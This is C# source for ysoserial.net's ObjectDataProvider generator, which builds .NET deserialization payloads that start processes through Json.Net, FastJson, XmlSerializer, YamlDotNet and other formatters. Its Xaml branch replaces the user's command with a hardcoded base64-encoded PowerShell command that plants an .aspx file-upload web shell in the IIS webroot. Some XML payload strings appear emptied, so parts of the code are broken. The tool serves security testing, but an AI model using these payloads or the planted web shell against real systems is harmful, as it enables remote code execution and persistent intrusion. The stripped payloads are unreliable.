using System; using System.Collections.Generic; using fastJSON; using System.Windows.Markup; using System.Diagnostics; using System.Windows.Data; using System.Reflection; using System.Collections.Specialized; using System.Windows; using ysoserial.Helpers; using NDesk.Options; using System.Linq; using Polenter.Serialization; using System.Text; /* * NOTEs: * What is Xaml2? * Xaml2 uses ResourceDictionary in addition to just using ObjectDataProvider as in Xaml * What is DataContractSerializer2? * DataContractSerializer2 uses Xaml.Parse rather than using ObjectDataProvider directly (as in DataContractSerializer) which is useful for bypassing blacklists * * * */ namespace ysoserial.Generators { public class ObjectDataProviderGenerator : GenericGenerator { private int variant_number = 1; // Default private string xaml_url = ""; public override List SupportedFormatters() { return new List { "Xaml (4)", "Json.Net", "FastJson", "JavaScriptSerializer", "XmlSerializer (2)", "DataContractSerializer (2)", "YamlDotNet < 5.0.0", "FsPickler", "SharpSerializerBinary", "SharpSerializerXml" }; } public override OptionSet Options() { OptionSet options = new OptionSet() { {"var|variant=", "Payload variant number where applicable. Choices: 1, 2, 3, ... based on formatter.", v => int.TryParse(v, out variant_number) }, {"xamlurl=", "This is to create a very short paylaod when affected box can read the target XAML URL e.g. \"http://b8.ee/x\" (can be a file path on a shared drive or the local system). This is used by the 3rd XAML payload which is a ResourceDictionary with the Source parameter. Command parameter will be ignored. The shorter the better!", v => xaml_url = v }, }; return options; } public override string Name() { return "ObjectDataProvider"; } public override string Finders() { return "Oleksandr Mirosh, Alvaro Munoz"; } public override string Contributors() { return "Alvaro Munoz, Soroush Dalili, Dane Evans"; } public override List Labels() { return new List { GadgetTypes.NotBridgeNotDerived }; } public override object Generate(string formatter, InputArgs inputArgs) { // NOTE: What is Xaml2? Xaml2 uses ResourceDictionary in addition to just using ObjectDataProvider as in Xaml if (formatter.ToLower().Equals("xaml")) { ProcessStartInfo psi = new ProcessStartInfo(); //psi.FileName = inputArgs.CmdFileName; if (inputArgs.HasArguments) { //psi.Arguments = inputArgs.CmdArguments; } psi.FileName = "powershell.exe"; psi.Arguments = " -EncodedCommand UwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJwBDADoAXABpAG4AZQB0AHAAdQBiAFwAdwB3AHcAcgBvAG8AdABcAGEAcwBwAG4AZQB0AF8AYwBsAGkAZQBuAHQAXAAxAC4AYQBzAHAAeAAnACAALQBWAGEAbAB1AGUAIAAnADwAJQBAACAAUABhAGcAZQAgAEwAYQBuAGcAdQBhAGcAZQA9ACIASgBTAGMAcgBpAHAAdAAiACAARABlAGIAdQBnAD0AIgB0AHIAdQBlACIAJQA+ADwAJQBAAEkAbQBwAG8AcgB0ACAATgBhAG0AZQBzAHAAYQBjAGUAPQAiAFMAeQBzAHQAZQBtAC4ASQBPACIAJQA+ADwAJQBGAGkAbABlAC4AVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoAFIAZQBxAHUAZQBzAHQAWwAiAGIAIgBdACwAIABDAG8AbgB2AGUAcgB0AC4ARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFIAZQBxAHUAZQBzAHQAWwAiAGEAIgBdACkAKQA7ACUAPgAnAA=="; StringDictionary dict = new StringDictionary(); psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); Process p = new Process(); p.StartInfo = psi; ObjectDataProvider odp = new ObjectDataProvider(); odp.MethodName = "Start"; odp.IsInitialLoadEnabled = false; odp.ObjectInstance = p; string payload = ""; if (variant_number == 2) { ResourceDictionary myResourceDictionary = new ResourceDictionary(); myResourceDictionary.Add("", odp); // XAML serializer can also be exploited! payload = SerializersHelper.Xaml_serialize(myResourceDictionary); } else if(variant_number == 3) { if(xaml_url == "") { Console.WriteLine("Url parameter was not provided."); Console.WriteLine("Try 'ysoserial --fullhelp' for more information."); System.Environment.Exit(-1); } // There are loads of other objects in Presentation that use XAML URLs and they can be used here instead payload = @""; } else if (variant_number == 4) { inputArgs.IsSTAThread = true; // we need STAThreadAttribute here string bridge = SerializersHelper.Xaml_serialize(odp); if (inputArgs.Minify) { // using discardable regex array to make it shorter! bridge = XMLMinifier.Minify(bridge, null, new String[] { @"StandardErrorEncoding=.*LoadUserProfile=""False"" ", @"IsInitialLoadEnabled=""False"" " }); } // There are loads of other objects in Presentation that use ResourceDictionary and they can all be used here instead payload = @""; } else { //payload = XamlWriter.Save(odp); payload = SerializersHelper.Xaml_serialize(odp); } if (inputArgs.Minify) { // using discardable regex array to make it shorter! payload = XMLMinifier.Minify(payload, null, new String[] { @"StandardErrorEncoding=.*LoadUserProfile=""False"" ", @"IsInitialLoadEnabled=""False"" " }); } if (inputArgs.Test) { if (inputArgs.IsSTAThread) { var staThread = new System.Threading.Thread(delegate () { try { SerializersHelper.Xaml_deserialize(payload); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } }); staThread.SetApartmentState(System.Threading.ApartmentState.STA); staThread.Start(); staThread.Join(); } else { try { SerializersHelper.Xaml_deserialize(payload); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } } return payload; } if (formatter.ToLower().Equals("json.net")) { inputArgs.CmdType = CommandArgSplitter.CommandType.JSON; string cmdPart = ""; if (inputArgs.HasArguments) { cmdPart = "'" + inputArgs.CmdFileName + "', '" + inputArgs.CmdArguments + "'"; } else { cmdPart = "'" + inputArgs.CmdFileName + "'"; } String payload = @"{ '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':[" + cmdPart + @"] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} }"; if (inputArgs.Minify) { if (inputArgs.UseSimpleType) { payload = JSONMinifier.Minify(payload, new String[] { "PresentationFramework", "mscorlib", "System" }, null); } else { payload = JSONMinifier.Minify(payload, null, null); } } if (inputArgs.Test) { try { SerializersHelper.JsonNet_deserialize(payload); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return payload; } else if (formatter.ToLower().Equals("fastjson")) { inputArgs.CmdType = CommandArgSplitter.CommandType.JSON; String cmdPart; if (inputArgs.HasArguments) { cmdPart = @"""FileName"":""" + inputArgs.CmdFileName + @""",""Arguments"":""" + inputArgs.CmdArguments + @""""; } else { cmdPart = @"""FileName"":""" + inputArgs.CmdFileName + @""""; } String payload = @"{ ""$types"":{ ""System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35"":""1"", ""System.Diagnostics.Process, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""2"", ""System.Diagnostics.ProcessStartInfo, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""3"" }, ""$type"":""1"", ""ObjectInstance"":{ ""$type"":""2"", ""StartInfo"":{ ""$type"":""3"", " + cmdPart + @" } }, ""MethodName"":""Start"" }"; if (inputArgs.Minify) { payload = JSONMinifier.Minify(payload, null, null); } if (inputArgs.Test) { try { var instance = JSON.ToObject(payload); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return payload; } else if (formatter.ToLower().Equals("javascriptserializer")) { inputArgs.CmdType = CommandArgSplitter.CommandType.JSON; String cmdPart; if (inputArgs.HasArguments) { cmdPart = "'FileName':'" + inputArgs.CmdFileName + "', 'Arguments':'" + inputArgs.CmdArguments + "'"; } else { cmdPart = "'FileName':'" + inputArgs.CmdFileName + "'"; } String payload = @"{ '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'ObjectInstance':{ '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 'StartInfo': { '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', " + cmdPart + @" } } }"; if (inputArgs.Minify) { payload = JSONMinifier.Minify(payload, null, null); } if (inputArgs.Test) { try { SerializersHelper.JavaScriptSerializer_deserialize(payload); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return payload; } else if (formatter.ToLower().Equals("xmlserializer")) { String payload = ""; if (variant_number == 2) { IGenerator tcdGadget = new TypeConfuseDelegateGenerator(); string losFormatterPayload = Encoding.UTF8.GetString((byte[]) tcdGadget.GenerateWithNoTest("LosFormatter", inputArgs)); payload = $@" Deserialize " + losFormatterPayload + @" "; } else { inputArgs.CmdType = CommandArgSplitter.CommandType.XML; String cmdPart; if (inputArgs.HasArguments) { cmdPart = $@"{inputArgs.CmdFileName}{inputArgs.CmdArguments}"; } else { cmdPart = $@"{inputArgs.CmdFileName}"; } payload = $@" Parse {cmdPart}]]> "; } if (inputArgs.Minify) { payload = XMLMinifier.Minify(payload, null, null, FormatterType.XMLSerializer, true); } if (inputArgs.Test) { try { SerializersHelper.XMLSerializer_deserialize(payload, null, "root", "type"); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return payload; } else if (formatter.ToLower().Equals("datacontractserializer")) { inputArgs.CmdType = CommandArgSplitter.CommandType.XML; String cmdPart, payload; if (variant_number == 2) { if (inputArgs.HasArguments) { cmdPart = $@"{inputArgs.CmdFileName}{inputArgs.CmdArguments}"; } else { cmdPart = $@"{inputArgs.CmdFileName}"; } payload = $@" <__identity xsi:nil=""true"" xmlns=""http://schemas.datacontract.org/2004/07/System""/> Parse {cmdPart}]]> "; } else if (variant_number == 3) { payload = $@" <__identity xsi:nil=""true"" xmlns=""http://schemas.datacontract.org/2004/07/System""/> Parse xxxxx]]> "; } else { if (inputArgs.HasArguments) { cmdPart = $@"" + inputArgs.CmdFileName + @" " + inputArgs.CmdArguments + ""; } else { cmdPart = $@"" + inputArgs.CmdFileName + @""; } payload = $@" <__identity i:nil=""true"" xmlns=""http://schemas.datacontract.org/2004/07/System""/> Start " + cmdPart + @" "; } if (inputArgs.Minify) { payload = XMLMinifier.Minify(payload, null, null, FormatterType.DataContractXML, true); } if (inputArgs.Test) { try { SerializersHelper.DataContractSerializer_deserialize(payload, null, "root", "type"); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return payload; } else if (formatter.ToLower().Equals("yamldotnet")) { inputArgs.CmdType = CommandArgSplitter.CommandType.YamlDotNet; String cmdPart; if (inputArgs.HasArguments) { cmdPart = $@"FileName: " + inputArgs.CmdFileName + @", Arguments: " + inputArgs.CmdArguments; } else { cmdPart = $@"FileName: " + inputArgs.CmdFileName; } String payload = @" ! { MethodName: Start, ObjectInstance: ! { StartInfo: ! { " + cmdPart + @" } } }"; if (inputArgs.Minify) { payload = YamlDocumentMinifier.Minify(payload); } if (inputArgs.Test) { try { SerializersHelper.YamlDotNet_deserialize(payload); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return payload; } else if (formatter.ToLower().Equals("fspickler")) { inputArgs.CmdType = CommandArgSplitter.CommandType.XML; String cmdPart; if (inputArgs.HasArguments) { cmdPart = $@"{inputArgs.CmdFileName}{inputArgs.CmdArguments}"; } else { cmdPart = $@"{inputArgs.CmdFileName}"; } String internalPayload = @"" + cmdPart + @""; internalPayload = CommandArgSplitter.JsonStringEscape(internalPayload); String payload = @"{ ""FsPickler"": ""4.0.0"", ""type"": ""System.Object"", ""value"": { ""_flags"": ""subtype"", ""subtype"": { ""Case"": ""NamedType"", ""Name"": ""Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties"", ""Assembly"": { ""Name"": ""Microsoft.PowerShell.Editor"", ""Version"": ""3.0.0.0"", ""Culture"": ""neutral"", ""PublicKeyToken"": ""31bf3856ad364e35"" } }, ""instance"": { ""serializationEntries"": [ { ""Name"": ""ForegroundBrush"", ""Type"": { ""Case"": ""NamedType"", ""Name"": ""System.String"", ""Assembly"": { ""Name"": ""mscorlib"", ""Version"": ""4.0.0.0"", ""Culture"": ""neutral"", ""PublicKeyToken"": ""b77a5c561934e089"" } }, ""Value"": """+ internalPayload + @""" } ] } } }"; if (inputArgs.Minify) { payload = JSONMinifier.Minify(payload, null, null); } if (inputArgs.Test) { try { var serializer = MBrace.CsPickler.CsPickler.CreateJsonSerializer(true); serializer.UnPickleOfString(payload); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return payload; } else if (formatter.ToLowerInvariant().Equals("sharpserializerbinary") || formatter.ToLowerInvariant().Equals("sharpserializerxml")) { // Binary Serialization Mode ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = inputArgs.CmdFileName; if (inputArgs.HasArguments) { psi.Arguments = inputArgs.CmdArguments; } StringDictionary dict = new StringDictionary(); psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); Process p = new Process(); p.StartInfo = psi; ObjectDataProvider odp = new ObjectDataProvider(); odp.MethodName = "Start"; odp.IsInitialLoadEnabled = false; odp.ObjectInstance = p; // SharpSerializer has bugs and we need to remove unwanted properties from the serializaiton process List>> allExclusions = new List>>(); List ourExcludedProperties = p.GetType().GetProperties().Where(x => !x.Name.Equals("StartInfo")).Select(item => item.Name).ToList(); KeyValuePair> exclusionList = new KeyValuePair>(p.GetType(), ourExcludedProperties); allExclusions.Add(exclusionList); ourExcludedProperties = odp.GetType().GetProperties().Where(x => !x.Name.Equals("MethodName") && !x.Name.Equals("ObjectInstance")).Select(item => item.Name).ToList(); exclusionList = new KeyValuePair>(odp.GetType(), ourExcludedProperties); allExclusions.Add(exclusionList); if (!inputArgs.HasArguments && inputArgs.Minify) { ourExcludedProperties = psi.GetType().GetProperties().Where(x => !x.Name.Equals("FileName")).Select(item => item.Name).ToList(); } else { ourExcludedProperties = psi.GetType().GetProperties().Where(x => !x.Name.Equals("FileName") && !x.Name.Equals("Arguments")).Select(item => item.Name).ToList(); } exclusionList = new KeyValuePair>(psi.GetType(), ourExcludedProperties); allExclusions.Add(exclusionList); // Why? I don't know but it seems to be another bug ourExcludedProperties = new List{"Dispatcher"}; exclusionList = new KeyValuePair>(odp.GetType(), ourExcludedProperties); allExclusions.Add(exclusionList); if (formatter.ToLowerInvariant().Equals("sharpserializerxml")) { var serializedData = SerializersHelper.SharpSerializer_XML_serialize_WithExclusion_ToString(odp, allExclusions); if (inputArgs.Minify) { serializedData = XMLMinifier.Minify(serializedData, null, new string[] { @" name=""r""" }, FormatterType.DataContractXML, true); } if (inputArgs.Test) { try { SerializersHelper.SharpSerializer_XML_deserialize_FromString(serializedData); } catch { } } return serializedData; } else { var serializedData = SerializersHelper.SharpSerializer_Binary_serialize_WithExclusion_ToByteArray(odp, allExclusions); if (inputArgs.Test) { try { SerializersHelper.SharpSerializer_Binary_deserialize_FromByteArray(serializedData); } catch { } } return serializedData; } } else { throw new Exception("Formatter not supported"); } } } }